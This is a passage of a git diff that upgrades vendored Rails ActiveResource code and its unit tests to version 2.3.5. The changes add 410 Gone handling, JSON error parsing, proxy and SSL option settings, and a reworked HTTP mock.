+  class ClientError < ConnectionError; end # :nodoc:
+
+  # 400 Bad Request
+  class BadRequest < ClientError; end # :nodoc
+
+  # 401 Unauthorized
+  class UnauthorizedAccess < ClientError; end # :nodoc
+
+  # 403 Forbidden
+  class ForbiddenAccess < ClientError; end # :nodoc
+
+  # 404 Not Found
+  class ResourceNotFound < ClientError; end # :nodoc:
+
+  # 409 Conflict
+  class ResourceConflict < ClientError; end # :nodoc:
+
+  # 410 Gone
+  class ResourceGone < ClientError; end # :nodoc:
+
+  # 5xx Server Error
+  class ServerError < ConnectionError; end # :nodoc:
+
+  # 405 Method Not Allowed
+  class MethodNotAllowed < ClientError # :nodoc:
+    def allowed_methods
+      @response['Allow'].split(',').map { |verb| verb.strip.downcase.to_sym }
+    end
+  end
+end
diff --git a/vendor/rails/activeresource/lib/active_resource/formats/json_format.rb b/vendor/rails/activeresource/lib/active_resource/formats/json_format.rb
index 1d88fc5f..127e8288 100644
--- a/vendor/rails/activeresource/lib/active_resource/formats/json_format.rb
+++ b/vendor/rails/activeresource/lib/active_resource/formats/json_format.rb
@@ -11,8 +11,8 @@ module ActiveResource
         "application/json"
       end
 
-      def encode(hash, options={})
-        hash.to_json(options)
+      def encode(hash, options = nil)
+        ActiveSupport::JSON.encode(hash, options)
       end
 
       def decode(json)
diff --git a/vendor/rails/activeresource/lib/active_resource/http_mock.rb b/vendor/rails/activeresource/lib/active_resource/http_mock.rb
index 9ed532b4..7d7e3784 100644
--- a/vendor/rails/activeresource/lib/active_resource/http_mock.rb
+++ b/vendor/rails/activeresource/lib/active_resource/http_mock.rb
@@ -54,9 +54,12 @@ module ActiveResource
       end
 
       for method in [ :post, :put, :get, :delete, :head ]
+        # def post(path, request_headers = {}, body = nil, status = 200, response_headers = {})
+        #   @responses[Request.new(:post, path, nil, request_headers)] = Response.new(body || "", status, response_headers)
+        # end
         module_eval <<-EOE, __FILE__, __LINE__
           def #{method}(path, request_headers = {}, body = nil, status = 200, response_headers = {})
-            @responses[Request.new(:#{method}, path, nil, request_headers)] = Response.new(body || "", status, response_headers)
+            @responses << [Request.new(:#{method}, path, nil, request_headers), Response.new(body || "", status, response_headers)]
           end
         EOE
       end
@@ -88,21 +91,17 @@ module ActiveResource
         @@requests ||= []
       end
 
-      # Returns a hash of <tt>request => response</tt> pairs for all all responses this mock has delivered, where +request+
-      # is an instance of ActiveResource::Request and the response is, naturally, an instance of
-      # ActiveResource::Response.
+      # Returns the list of requests and their mocked responses. Look up a
+      # response for a request using responses.assoc(request).
       def responses
-        @@responses ||= {}
+        @@responses ||= []
       end
 
       # Accepts a block which declares a set of requests and responses for the HttpMock to respond to. See the main
       # ActiveResource::HttpMock description for a more detailed explanation.
       def respond_to(pairs = {}) #:yields: mock
         reset!
-        pairs.each do |(path, response)|
-          responses[path] = response
-        end
-
+        responses.concat pairs.to_a
         if block_given?
           yield Responder.new(responses)
         else
@@ -117,24 +116,23 @@ module ActiveResource
       end
     end
 
-    for method in [ :post, :put ]
-      module_eval <<-EOE, __FILE__, __LINE__
-        def #{method}(path, body, headers)
-          request = ActiveResource::Request.new(:#{method}, path, body, headers)
-          self.class.requests << request
-          self.class.responses[request] || raise(InvalidRequestError.new("No response recorded for \#{request}"))
-        end
-      EOE
-    end
-
-    for method in [ :get, :delete, :head ]
-      module_eval <<-EOE, __FILE__, __LINE__
-        def #{method}(path, headers)
-          request = ActiveResource::Request.new(:#{method}, path, nil, headers)
-          self.class.requests << request
-          self.class.responses[request] || raise(InvalidRequestError.new("No response recorded for \#{request}"))
-        end
-      EOE
+    # body?       methods
+    { true  => %w(post put),
+      false => %w(get delete head) }.each do |has_body, methods|
+      methods.each do |method|
+        # def post(path, body, headers)
+        #   request = ActiveResource::Request.new(:post, path, body, headers)
+        #   self.class.requests << request
+        #   self.class.responses.assoc(request).try(:second) || raise(InvalidRequestError.new("No response recorded for #{request}"))
+        # end
+        module_eval <<-EOE, __FILE__, __LINE__
+          def #{method}(path, #{'body, ' if has_body}headers)
+            request = ActiveResource::Request.new(:#{method}, path, #{has_body ? 'body, ' : 'nil, '}headers)
+            self.class.requests << request
+            self.class.responses.assoc(request).try(:second) || raise(InvalidRequestError.new("No response recorded for \#{request}"))
+          end
+        EOE
+      end
     end
 
     def initialize(site) #:nodoc:
@@ -149,21 +147,13 @@ module ActiveResource
       @method, @path, @body, @headers = method, path, body, headers.merge(ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[method] => 'application/xml')
     end
 
-    def ==(other_request)
-      other_request.hash == hash
-    end
-
-    def eql?(other_request)
-      self == other_request
+    def ==(req)
+      path == req.path && method == req.method && headers == req.headers
     end
 
     def to_s
       "<#{method.to_s.upcase}: #{path} [#{headers}] (#{body})>"
     end
-
-    def hash
-      "#{path}#{method}#{headers}".hash
-    end
   end
 
   class Response
diff --git a/vendor/rails/activeresource/lib/active_resource/validations.rb b/vendor/rails/activeresource/lib/active_resource/validations.rb
index 4bc906d2..56621dd9 100644
--- a/vendor/rails/activeresource/lib/active_resource/validations.rb
+++ b/vendor/rails/activeresource/lib/active_resource/validations.rb
@@ -199,11 +199,10 @@ module ActiveResource
     alias_method :count, :size
     alias_method :length, :size
     
-    # Grabs errors from the XML response.
-    def from_xml(xml)
+    # Grabs errors from an array of messages (like ActiveRecord::Validations)
+    def from_array(messages)
       clear
       humanized_attributes = @base.attributes.keys.inject({}) { |h, attr_name| h.update(attr_name.humanize => attr_name) }
-      messages = Hash.from_xml(xml)['errors']['error'] rescue []
       messages.each do |message|
         attr_message = humanized_attributes.keys.detect do |attr_name|
           if message[0, attr_name.size + 1] == "#{attr_name} "
@@ -214,6 +213,18 @@ module ActiveResource
         add_to_base message if attr_message.nil?
       end
     end
+
+    # Grabs errors from the json response.
+    def from_json(json)
+      array = ActiveSupport::JSON.decode(json)['errors'] rescue []
+      from_array array
+    end
+
+    # Grabs errors from the XML response.
+    def from_xml(xml)
+      array = Array.wrap(Hash.from_xml(xml)['errors']['error']) rescue []
+      from_array array
+    end
   end
   
   # Module to support validation and errors with Active Resource objects. The module overrides
@@ -248,7 +259,12 @@ module ActiveResource
       save_without_validation
       true
     rescue ResourceInvalid => error
-      errors.from_xml(error.response.body)
+      case error.response['Content-Type']
+      when /xml/
+        errors.from_xml(error.response.body)
+      when /json/
+        errors.from_json(error.response.body)
+      end
       false
     end
 
diff --git a/vendor/rails/activeresource/lib/active_resource/version.rb b/vendor/rails/activeresource/lib/active_resource/version.rb
index 6aa8d58a..8833db9a 100644
--- a/vendor/rails/activeresource/lib/active_resource/version.rb
+++ b/vendor/rails/activeresource/lib/active_resource/version.rb
@@ -1,8 +1,8 @@
 module ActiveResource
   module VERSION #:nodoc:
     MAJOR = 2
-    MINOR = 2
-    TINY  = 2
+    MINOR = 3
+    TINY  = 5
 
     STRING = [MAJOR, MINOR, TINY].join('.')
   end
diff --git a/vendor/rails/activeresource/lib/activeresource.rb b/vendor/rails/activeresource/lib/activeresource.rb
index e076455b..666656cc 100644
--- a/vendor/rails/activeresource/lib/activeresource.rb
+++ b/vendor/rails/activeresource/lib/activeresource.rb
@@ -1 +1,2 @@
 require 'active_resource'
+ActiveSupport::Deprecation.warn 'require "activeresource" is deprecated and will be removed in Rails 3. Use require "active_resource" instead.'
diff --git a/vendor/rails/activeresource/test/abstract_unit.rb b/vendor/rails/activeresource/test/abstract_unit.rb
index e6124120..07d201a7 100644
--- a/vendor/rails/activeresource/test/abstract_unit.rb
+++ b/vendor/rails/activeresource/test/abstract_unit.rb
@@ -1,6 +1,9 @@
+require 'rubygems'
 require 'test/unit'
+require 'active_support/test_case'
 
 $:.unshift "#{File.dirname(__FILE__)}/../lib"
+$:.unshift "#{File.dirname(__FILE__)}/../../activesupport/lib"
 require 'active_resource'
 require 'active_resource/http_mock'
 
@@ -10,17 +13,9 @@ require 'setter_trap'
 ActiveResource::Base.logger = Logger.new("#{File.dirname(__FILE__)}/debug.log")
 
 def uses_gem(gem_name, test_name, version = '> 0')
-  require 'rubygems'
   gem gem_name.to_s, version
   require gem_name.to_s
   yield
 rescue LoadError
   $stderr.puts "Skipping #{test_name} tests. `gem install #{gem_name}` and try again."
 end
-
-# Wrap tests that use Mocha and skip if unavailable.
-unless defined? uses_mocha
-  def uses_mocha(test_name, &block)
-    uses_gem('mocha', test_name, '>= 0.5.5', &block)
-  end
-end
diff --git a/vendor/rails/activeresource/test/authorization_test.rb b/vendor/rails/activeresource/test/authorization_test.rb
index ead7f5c1..ca25f437 100644
--- a/vendor/rails/activeresource/test/authorization_test.rb
+++ b/vendor/rails/activeresource/test/authorization_test.rb
@@ -107,10 +107,10 @@ class AuthorizationTest < Test::Unit::TestCase
   end
 
   def test_raises_invalid_request_on_unauthorized_requests
-    assert_raises(ActiveResource::InvalidRequestError) { @conn.post("/people/2.xml") }
-    assert_raises(ActiveResource::InvalidRequestError) { @conn.post("/people/2/addresses.xml") }
-    assert_raises(ActiveResource::InvalidRequestError) { @conn.put("/people/2.xml") }
-    assert_raises(ActiveResource::InvalidRequestError) { @conn.delete("/people/2.xml") }
+    assert_raise(ActiveResource::InvalidRequestError) { @conn.post("/people/2.xml") }
+    assert_raise(ActiveResource::InvalidRequestError) { @conn.post("/people/2/addresses.xml") }
+    assert_raise(ActiveResource::InvalidRequestError) { @conn.put("/people/2.xml") }
+    assert_raise(ActiveResource::InvalidRequestError) { @conn.delete("/people/2.xml") }
   end
 
   protected
diff --git a/vendor/rails/activeresource/test/base/equality_test.rb b/vendor/rails/activeresource/test/base/equality_test.rb
index 1fb8938e..84f1a7b9 100644
--- a/vendor/rails/activeresource/test/base/equality_test.rb
+++ b/vendor/rails/activeresource/test/base/equality_test.rb
@@ -40,4 +40,13 @@ class BaseEqualityTest < Test::Unit::TestCase
       assert_equal resource.id.hash, resource.hash
     end
   end
+
+	def test_with_prefix_options
+    assert_equal @one == @one, @one.eql?(@one)
+    assert_equal @one == @one.dup, @one.eql?(@one.dup)
+    new_one = @one.dup
+    new_one.prefix_options = {:foo => 'bar'}
+    assert_not_equal @one, new_one
+	end
+
 end
diff --git a/vendor/rails/activeresource/test/base/load_test.rb b/vendor/rails/activeresource/test/base/load_test.rb
index a475fab3..079ec2c1 100644
--- a/vendor/rails/activeresource/test/base/load_test.rb
+++ b/vendor/rails/activeresource/test/base/load_test.rb
@@ -49,7 +49,9 @@ class BaseLoadTest < Test::Unit::TestCase
       :id => 1, :state => { :id => 1, :name => 'Oregon',
         :notable_rivers => [
           { :id => 1, :name => 'Willamette' },
-          { :id => 2, :name => 'Columbia', :rafted_by => @matz }] }}}
+          { :id => 2, :name => 'Columbia', :rafted_by => @matz }],
+        :postal_codes => [ 97018, 1234567890 ],
+        :places => [ "Columbia City", "Unknown" ]}}}
 
     @person = Person.new
   end
@@ -125,6 +127,19 @@ class BaseLoadTest < Test::Unit::TestCase
     assert_kind_of Person::Street::State::NotableRiver, rivers.first
     assert_equal @deep[:street][:state][:notable_rivers].first[:id], rivers.first.id
     assert_equal @matz[:id], rivers.last.rafted_by.id
+
+    postal_codes = state.postal_codes
+    assert_kind_of Array, postal_codes
+    assert_equal 2, postal_codes.size
+    assert_kind_of Fixnum, postal_codes.first
+    assert_equal @deep[:street][:state][:postal_codes].first, postal_codes.first
+    assert_kind_of Numeric, postal_codes.last
+    assert_equal @deep[:street][:state][:postal_codes].last, postal_codes.last
+
+    places = state.places
+    assert_kind_of Array, places
+    assert_kind_of String, places.first
+    assert_equal @deep[:street][:state][:places].first, places.first
   end
   
   def test_nested_collections_within_the_same_namespace
diff --git a/vendor/rails/activeresource/test/base_errors_test.rb b/vendor/rails/activeresource/test/base_errors_test.rb
index 7ae92c7d..21e0b398 100644
--- a/vendor/rails/activeresource/test/base_errors_test.rb
+++ b/vendor/rails/activeresource/test/base_errors_test.rb
@@ -4,45 +4,82 @@ require "fixtures/person"
 class BaseErrorsTest < Test::Unit::TestCase
   def setup
     ActiveResource::HttpMock.respond_to do |mock|
-      mock.post "/people.xml", {}, "<?xml version=\"1.0\" encoding=\"UTF-8\"?><errors><error>Age can't be blank</error><error>Name can't be blank</error><error>Name must start with a letter</error><error>Person quota full for today.</error></errors>", 422
+      mock.post "/people.xml", {}, %q(<?xml version="1.0" encoding="UTF-8"?><errors><error>Age can't be blank</error><error>Name can't be blank</error><error>Name must start with a letter</error><error>Person quota full for today.</error></errors>), 422, {'Content-Type' => 'application/xml; charset=utf-8'}
+      mock.post "/people.json", {}, %q({"errors":["Age can't be blank","Name can't be blank","Name must start with a letter","Person quota full for today."]}), 422, {'Content-Type' => 'application/json; charset=utf-8'}
     end
     @person = Person.new(:name => '', :age => '')
     assert_equal @person.save, false
   end
 
   def test_should_mark_as_invalid
-    assert !@person.valid?
+    [ :json, :xml ].each do |format|
+      invalid_user_using_format(format) do
+        assert !@person.valid?
+      end
+    end
   end
 
   def test_should_parse_xml_errors
-    assert_kind_of ActiveResource::Errors, @person.errors
-    assert_equal 4, @person.errors.size
+    [ :json, :xml ].each do |format|
+      invalid_user_using_format(format) do
+        assert_kind_of ActiveResource::Errors, @person.errors
+        assert_equal 4, @person.errors.size
+      end
+    end
   end
 
   def test_should_parse_errors_to_individual_attributes
-    assert @person.errors.invalid?(:name)    
-    assert_equal "can't be blank", @person.errors.on(:age)
-    assert_equal ["can't be blank", "must start with a letter"], @person.errors[:name]
-    assert_equal "Person quota full for today.", @person.errors.on_base
+    [ :json, :xml ].each do |format|
+      invalid_user_using_format(format) do
+        assert @person.errors[:name].any?
+        assert_equal "can't be blank", @person.errors[:age]
+        assert_equal ["can't be blank", "must start with a letter"], @person.errors[:name]
+        assert_equal "Person quota full for today.", @person.errors[:base]
+      end
+    end
   end
 
   def test_should_iterate_over_errors
-    errors = []
-    @person.errors.each { |attribute, message| errors << [attribute, message] }
-    assert errors.include?(["name", "can't be blank"])
+    [ :json, :xml ].each do |format|
+      invalid_user_using_format(format) do
+        errors = []
+        @person.errors.each { |attribute, message| errors << [attribute, message] }
+        assert errors.include?(['name', "can't be blank"])
+      end
+    end
   end
 
   def test_should_iterate_over_full_errors
-    errors = []
-    @person.errors.each_full { |message| errors << message }
-    assert errors.include?("Name can't be blank")
+    [ :json, :xml ].each do |format|
+      invalid_user_using_format(format) do
+        errors = []
+        @person.errors.to_a.each { |message| errors << message }
+        assert errors.include?(["name", "can't be blank"])
+      end
+    end
   end
 
   def test_should_format_full_errors
-    full = @person.errors.full_messages
-    assert full.include?("Age can't be blank")
-    assert full.include?("Name can't be blank")
-    assert full.include?("Name must start with a letter")
-    assert full.include?("Person quota full for today.")
+    [ :json, :xml ].each do |format|
+      invalid_user_using_format(format) do
+        full = @person.errors.full_messages
+        assert full.include?("Age can't be blank")
+        assert full.include?("Name can't be blank")
+        assert full.include?("Name must start with a letter")
+        assert full.include?("Person quota full for today.")
+      end
+    end
+  end
+
+  private
+  def invalid_user_using_format(mime_type_reference)
+    previous_format = Person.format
+    Person.format = mime_type_reference
+    @person = Person.new(:name => '', :age => '')
+    assert_equal false, @person.save
+
+    yield
+  ensure
+    Person.format = previous_format
   end
 end
diff --git a/vendor/rails/activeresource/test/base_test.rb b/vendor/rails/activeresource/test/base_test.rb
index bb080986..527e099a 100644
--- a/vendor/rails/activeresource/test/base_test.rb
+++ b/vendor/rails/activeresource/test/base_test.rb
@@ -3,6 +3,7 @@ require "fixtures/person"
 require "fixtures/customer"
 require "fixtures/street_address"
 require "fixtures/beast"
+require "fixtures/proxy"
 
 class BaseTest < Test::Unit::TestCase
   def setup
@@ -47,7 +48,7 @@ class BaseTest < Test::Unit::TestCase
                                           {:name => 'Milena',
                                            :children => []}]}]}.to_xml(:root => 'customer')
     # - resource with yaml array of strings; for ActiveRecords using serialize :bar, Array
-    @marty = <<-eof
+    @marty = <<-eof.strip
       <?xml version=\"1.0\" encoding=\"UTF-8\"?>
       <person>
         <id type=\"integer\">5</id>
@@ -124,6 +125,28 @@ class BaseTest < Test::Unit::TestCase
     assert_nil actor.site
   end
 
+  def test_proxy_accessor_accepts_uri_or_string_argument
+    proxy = URI.parse('http://localhost')
+
+    assert_nothing_raised { Person.proxy = 'http://localhost' }
+    assert_equal proxy, Person.proxy
+
+    assert_nothing_raised { Person.proxy = proxy }
+    assert_equal proxy, Person.proxy
+  end
+
+  def test_should_use_proxy_prefix_and_credentials
+    assert_equal 'http://user:password@proxy.local:3000', ProxyResource.proxy.to_s
+  end
+
+  def test_proxy_variable_can_be_reset
+    actor = Class.new(ActiveResource::Base)
+    assert_nil actor.site
+    actor.proxy = 'http://localhost:31337'
+    actor.proxy = nil
+    assert_nil actor.site
+  end
+
   def test_should_accept_setting_user
     Forum.user = 'david'
     assert_equal('david', Forum.user)
@@ -142,6 +165,13 @@ class BaseTest < Test::Unit::TestCase
     assert_equal(5, Forum.connection.timeout)
   end
 
+  def test_should_accept_setting_ssl_options
+    expected = {:verify => 1}
+    Forum.ssl_options= expected
+    assert_equal(expected, Forum.ssl_options)
+    assert_equal(expected, Forum.connection.ssl_options)
+  end
+
   def test_user_variable_can_be_reset
     actor = Class.new(ActiveResource::Base)
     actor.site = 'http://cinema'
@@ -172,6 +202,16 @@ class BaseTest < Test::Unit::TestCase
     assert_nil actor.connection.timeout
   end
 
+  def test_ssl_options_hash_can_be_reset
+    actor = Class.new(ActiveResource::Base)
+    actor.site = 'https://cinema'
+    assert_nil actor.ssl_options
+    actor.ssl_options = {:foo => 5}
+    actor.ssl_options = nil
+    assert_nil actor.ssl_options
+    assert_nil actor.connection.ssl_options
+  end
+
   def test_credentials_from_site_are_decoded
     actor = Class.new(ActiveResource::Base)
     actor.site = 'http://my%40email.com:%31%32%33@cinema'
@@ -220,6 +260,47 @@ class BaseTest < Test::Unit::TestCase
     assert_equal fruit.site, apple.site, 'subclass did not adopt changes from parent class'
   end
 
+  def test_proxy_reader_uses_superclass_site_until_written
+    # Superclass is Object so returns nil.
+    assert_nil ActiveResource::Base.proxy
+    assert_nil Class.new(ActiveResource::Base).proxy
+
+    # Subclass uses superclass proxy.
+    actor = Class.new(Person)
+    assert_equal Person.proxy, actor.proxy
+
+    # Subclass returns frozen superclass copy.
+    assert !Person.proxy.frozen?
+    assert actor.proxy.frozen?
+
+    # Changing subclass proxy doesn't change superclass site.
+    actor.proxy = 'http://localhost:31337'
+    assert_not_equal Person.proxy, actor.proxy
+
+    # Changed subclass proxy is not frozen.
+    assert !actor.proxy.frozen?
+
+    # Changing superclass proxy doesn't overwrite subclass site.
+    Person.proxy = 'http://somewhere.else'
+    assert_not_equal Person.proxy, actor.proxy
+
+    # Changing superclass proxy after subclassing changes subclass site.
+    jester = Class.new(actor)
+    actor.proxy = 'http://nomad'
+    assert_equal actor.proxy, jester.proxy
+    assert jester.proxy.frozen?
+
+    # Subclasses are always equal to superclass proxy when not overridden
+    fruit = Class.new(ActiveResource::Base)
+    apple = Class.new(fruit)
+
+    fruit.proxy = 'http://market'
+    assert_equal fruit.proxy, apple.proxy, 'subclass did not adopt changes from parent class'
+
+    fruit.proxy = 'http://supermarket'
+    assert_equal fruit.proxy, apple.proxy, 'subclass did not adopt changes from parent class'
+  end
+
   def test_user_reader_uses_superclass_user_until_written
     # Superclass is Object so returns nil.
     assert_nil ActiveResource::Base.user
@@ -330,6 +411,40 @@ class BaseTest < Test::Unit::TestCase
     assert_equal fruit.timeout, apple.timeout, 'subclass did not adopt changes from parent class'
   end
 
+  def test_ssl_options_reader_uses_superclass_ssl_options_until_written
+    # Superclass is Object so returns nil.
+    assert_nil ActiveResource::Base.ssl_options
+    assert_nil Class.new(ActiveResource::Base).ssl_options
+    Person.ssl_options = {:foo => 'bar'}
+
+    # Subclass uses superclass ssl_options.
+    actor = Class.new(Person)
+    assert_equal Person.ssl_options, actor.ssl_options
+
+    # Changing subclass ssl_options doesn't change superclass ssl_options.
+    actor.ssl_options = {:baz => ''}
+    assert_not_equal Person.ssl_options, actor.ssl_options
+
+    # Changing superclass ssl_options doesn't overwrite subclass ssl_options.
+    Person.ssl_options = {:color => 'blue'}
+    assert_not_equal Person.ssl_options, actor.ssl_options
+
+    # Changing superclass ssl_options after subclassing changes subclass ssl_options.
+    jester = Class.new(actor)
+    actor.ssl_options = {:color => 'red'}
+    assert_equal actor.ssl_options, jester.ssl_options
+
+    # Subclasses are always equal to superclass ssl_options when not overridden.
+    fruit = Class.new(ActiveResource::Base)
+    apple = Class.new(fruit)
+
+    fruit.ssl_options = {:alpha => 'betas'}
+    assert_equal fruit.ssl_options, apple.ssl_options, 'subclass did not adopt changes from parent class'
+
+    fruit.ssl_options = {:omega => 'moos'}
+    assert_equal fruit.ssl_options, apple.ssl_options, 'subclass did not adopt changes from parent class'
+  end
+
   def test_updating_baseclass_site_object_wipes_descendent_cached_connection_objects
     # Subclasses are always equal to superclass site when not overridden
     fruit = Class.new(ActiveResource::Base)
@@ -564,14 +679,14 @@ class BaseTest < Test::Unit::TestCase
 
   def test_custom_header
     Person.headers['key'] = 'value'
-    assert_raises(ActiveResource::ResourceNotFound) { Person.find(4) }
+    assert_raise(ActiveResource::ResourceNotFound) { Person.find(4) }
   ensure
     Person.headers.delete('key')
   end
 
   def test_find_by_id_not_found
-    assert_raises(ActiveResource::ResourceNotFound) { Person.find(99) }
-    assert_raises(ActiveResource::ResourceNotFound) { StreetAddress.find(1) }
+    assert_raise(ActiveResource::ResourceNotFound) { Person.find(99) }
+    assert_raise(ActiveResource::ResourceNotFound) { StreetAddress.find(1) }
   end
 
   def test_find_all_by_from
@@ -627,6 +742,12 @@ class BaseTest < Test::Unit::TestCase
     assert_equal '1', p.__send__(:id_from_response, resp)
   end
 
+  def test_id_from_response_without_location
+    p = Person.new
+    resp = {}
+    assert_equal nil, p.__send__(:id_from_response, resp)
+  end
+
   def test_create_with_custom_prefix
     matzs_house = StreetAddress.new(:person_id => 1)
     matzs_house.save
@@ -670,7 +791,6 @@ class BaseTest < Test::Unit::TestCase
     assert_equal person, person.reload
   end
 
-
   def test_create
     rick = Person.create(:name => 'Rick')
     assert rick.valid?
@@ -684,43 +804,51 @@ class BaseTest < Test::Unit::TestCase
     ActiveResource::HttpMock.respond_to do |mock|
       mock.post   "/people.xml", {}, nil, 409
     end
-    assert_raises(ActiveResource::ResourceConflict) { Person.create(:name => 'Rick') }
+    assert_raise(ActiveResource::ResourceConflict) { Person.create(:name => 'Rick') }
+  end
+
+  def test_create_without_location
+    ActiveResource::HttpMock.respond_to do |mock|
+      mock.post   "/people.xml", {}, nil, 201
+    end
+    person = Person.create(:name => 'Rick')
+    assert_equal nil, person.id
   end
 
   def test_clone
-   matz = Person.find(1)
-   matz_c = matz.clone
-   assert matz_c.new?
-   matz.attributes.each do |k, v|
-     assert_equal v, matz_c.send(k) if k != Person.primary_key
-   end
- end
+    matz = Person.find(1)
+    matz_c = matz.clone
+    assert matz_c.new?
+    matz.attributes.each do |k, v|
+      assert_equal v, matz_c.send(k) if k != Person.primary_key
+    end
+  end
 
- def test_nested_clone
-   addy = StreetAddress.find(1, :params => {:person_id => 1})
-   addy_c = addy.clone
-   assert addy_c.new?
-   addy.attributes.each do |k, v|
-     assert_equal v, addy_c.send(k) if k != StreetAddress.primary_key
-   end
-   assert_equal addy.prefix_options, addy_c.prefix_options
- end
+  def test_nested_clone
+    addy = StreetAddress.find(1, :params => {:person_id => 1})
+    addy_c = addy.clone
+    assert addy_c.new?
+    addy.attributes.each do |k, v|
+      assert_equal v, addy_c.send(k) if k != StreetAddress.primary_key
+    end
+    assert_equal addy.prefix_options, addy_c.prefix_options
+  end
 
- def test_complex_clone
-   matz = Person.find(1)
-   matz.address = StreetAddress.find(1, :params => {:person_id => matz.id})
-   matz.non_ar_hash = {:not => "an ARes instance"}
-   matz.non_ar_arr = ["not", "ARes"]
-   matz_c = matz.clone
-   assert matz_c.new?
-   assert_raises(NoMethodError) {matz_c.address}
-   assert_equal matz.non_ar_hash, matz_c.non_ar_hash
-   assert_equal matz.non_ar_arr, matz_c.non_ar_arr
+  def test_complex_clone
+    matz = Person.find(1)
+    matz.address = StreetAddress.find(1, :params => {:person_id => matz.id})
+    matz.non_ar_hash = {:not => "an ARes instance"}
+    matz.non_ar_arr = ["not", "ARes"]
+    matz_c = matz.clone
+    assert matz_c.new?
+    assert_raise(NoMethodError) {matz_c.address}
+    assert_equal matz.non_ar_hash, matz_c.non_ar_hash
+    assert_equal matz.non_ar_arr, matz_c.non_ar_arr
 
-   # Test that actual copy, not just reference copy
-   matz.non_ar_hash[:not] = "changed"
-   assert_not_equal matz.non_ar_hash, matz_c.non_ar_hash
- end
+    # Test that actual copy, not just reference copy
+    matz.non_ar_hash[:not] = "changed"
+    assert_not_equal matz.non_ar_hash, matz_c.non_ar_hash
+  end
 
   def test_update
     matz = Person.find(:first)
@@ -751,7 +879,7 @@ class BaseTest < Test::Unit::TestCase
       mock.get "/people/2.xml", {}, @david
       mock.put "/people/2.xml", @default_request_headers, nil, 409
     end
-    assert_raises(ActiveResource::ResourceConflict) { Person.find(2).save }
+    assert_raise(ActiveResource::ResourceConflict) { Person.find(2).save }
   end
 
   def test_destroy
@@ -759,7 +887,7 @@ class BaseTest < Test::Unit::TestCase
     ActiveResource::HttpMock.respond_to do |mock|
       mock.get "/people/1.xml", {}, nil, 404
     end
-    assert_raises(ActiveResource::ResourceNotFound) { Person.find(1).destroy }
+    assert_raise(ActiveResource::ResourceNotFound) { Person.find(1).destroy }
   end
 
   def test_destroy_with_custom_prefix
@@ -767,7 +895,15 @@ class BaseTest < Test::Unit::TestCase
     ActiveResource::HttpMock.respond_to do |mock|
       mock.get "/people/1/addresses/1.xml", {}, nil, 404
     end
-    assert_raises(ActiveResource::ResourceNotFound) { StreetAddress.find(1, :params => { :person_id => 1 }) }
+    assert_raise(ActiveResource::ResourceNotFound) { StreetAddress.find(1, :params => { :person_id => 1 }) }
+  end
+
+  def test_destroy_with_410_gone
+    assert Person.find(1).destroy
+    ActiveResource::HttpMock.respond_to do |mock|
+      mock.get "/people/1.xml", {}, nil, 410
+    end
+    assert_raise(ActiveResource::ResourceGone) { Person.find(1).destroy }
   end
 
   def test_delete
@@ -775,7 +911,7 @@ class BaseTest < Test::Unit::TestCase
     ActiveResource::HttpMock.respond_to do |mock|
       mock.get "/people/1.xml", {}, nil, 404
     end
-    assert_raises(ActiveResource::ResourceNotFound) { Person.find(1) }
+    assert_raise(ActiveResource::ResourceNotFound) { Person.find(1) }
   end
 
   def test_delete_with_custom_prefix
@@ -783,7 +919,15 @@ class BaseTest < Test::Unit::TestCase
     ActiveResource::HttpMock.respond_to do |mock|
       mock.get "/people/1/addresses/1.xml", {}, nil, 404
     end
-    assert_raises(ActiveResource::ResourceNotFound) { StreetAddress.find(1, :params => { :person_id => 1 }) }
+    assert_raise(ActiveResource::ResourceNotFound) { StreetAddress.find(1, :params => { :person_id => 1 }) }
+  end
+  
+  def test_delete_with_410_gone
+    assert Person.delete(1)
+    ActiveResource::HttpMock.respond_to do |mock|
+      mock.get "/people/1.xml", {}, nil, 410
+    end
+    assert_raise(ActiveResource::ResourceGone) { Person.find(1) }
   end
 
   def test_exists
@@ -811,9 +955,9 @@ class BaseTest < Test::Unit::TestCase
   def test_exists_with_redefined_to_param
     Person.module_eval do
       alias_method :original_to_param_exists, :to_param
-       def to_param
-         name
-       end
+      def to_param
+        name
+      end
     end
 
     # Class method.
@@ -828,13 +972,29 @@ class BaseTest < Test::Unit::TestCase
     # Nested instance method.
     assert StreetAddress.find(1, :params => { :person_id => Person.find('Greg').to_param }).exists?
 
-    ensure
-      # revert back to original
-      Person.module_eval do
-        # save the 'new' to_param so we don't get a warning about discarding the method
-        alias_method :exists_to_param, :to_param
-        alias_method :to_param, :original_to_param_exists
-      end
+  ensure
+    # revert back to original
+    Person.module_eval do
+      # save the 'new' to_param so we don't get a warning about discarding the method
+      alias_method :exists_to_param, :to_param
+      alias_method :to_param, :original_to_param_exists
+    end
+  end
+
+  def test_exists_without_http_mock
+    http = Net::HTTP.new(Person.site.host, Person.site.port)
+    ActiveResource::Connection.any_instance.expects(:http).returns(http)
+    http.expects(:request).returns(ActiveResource::Response.new(""))
+
+    assert Person.exists?('not-mocked')
+  end
+
+  def test_exists_with_410_gone
+    ActiveResource::HttpMock.respond_to do |mock|
+      mock.head "/people/1.xml", {}, nil, 410
+    end
+
+    assert !Person.exists?(1)
   end
 
   def test_to_xml
diff --git a/vendor/rails/activeresource/test/connection_test.rb b/vendor/rails/activeresource/test/connection_test.rb
index 84bcf692..d7466c65 100644
--- a/vendor/rails/activeresource/test/connection_test.rb
+++ b/vendor/rails/activeresource/test/connection_test.rb
@@ -56,6 +56,9 @@ class ConnectionTest < Test::Unit::TestCase
     # 409 is an optimistic locking error
     assert_response_raises ActiveResource::ResourceConflict, 409
 
+    # 410 is a removed resource
+    assert_response_raises ActiveResource::ResourceGone, 410
+
     # 422 is a validation error
     assert_response_raises ActiveResource::ResourceInvalid, 422
 
@@ -101,6 +104,16 @@ class ConnectionTest < Test::Unit::TestCase
     assert_equal site, @conn.site
   end
 
+  def test_proxy_accessor_accepts_uri_or_string_argument
+    proxy = URI.parse("http://proxy_user:proxy_password@proxy.local:4242")
+
+    assert_nothing_raised { @conn.proxy = "http://proxy_user:proxy_password@proxy.local:4242" }
+    assert_equal proxy, @conn.proxy
+
+    assert_nothing_raised { @conn.proxy = proxy }
+    assert_equal proxy, @conn.proxy
+  end
+
   def test_timeout_accessor
     @conn.timeout = 5
     assert_equal 5, @conn.timeout
@@ -168,23 +181,50 @@ class ConnectionTest < Test::Unit::TestCase
     assert_equal 200, response.code
   end
 
-  uses_mocha('test_timeout, test_accept_http_header') do
-    def test_timeout
-      @http = mock('new Net::HTTP')
-      @conn.expects(:http).returns(@http)
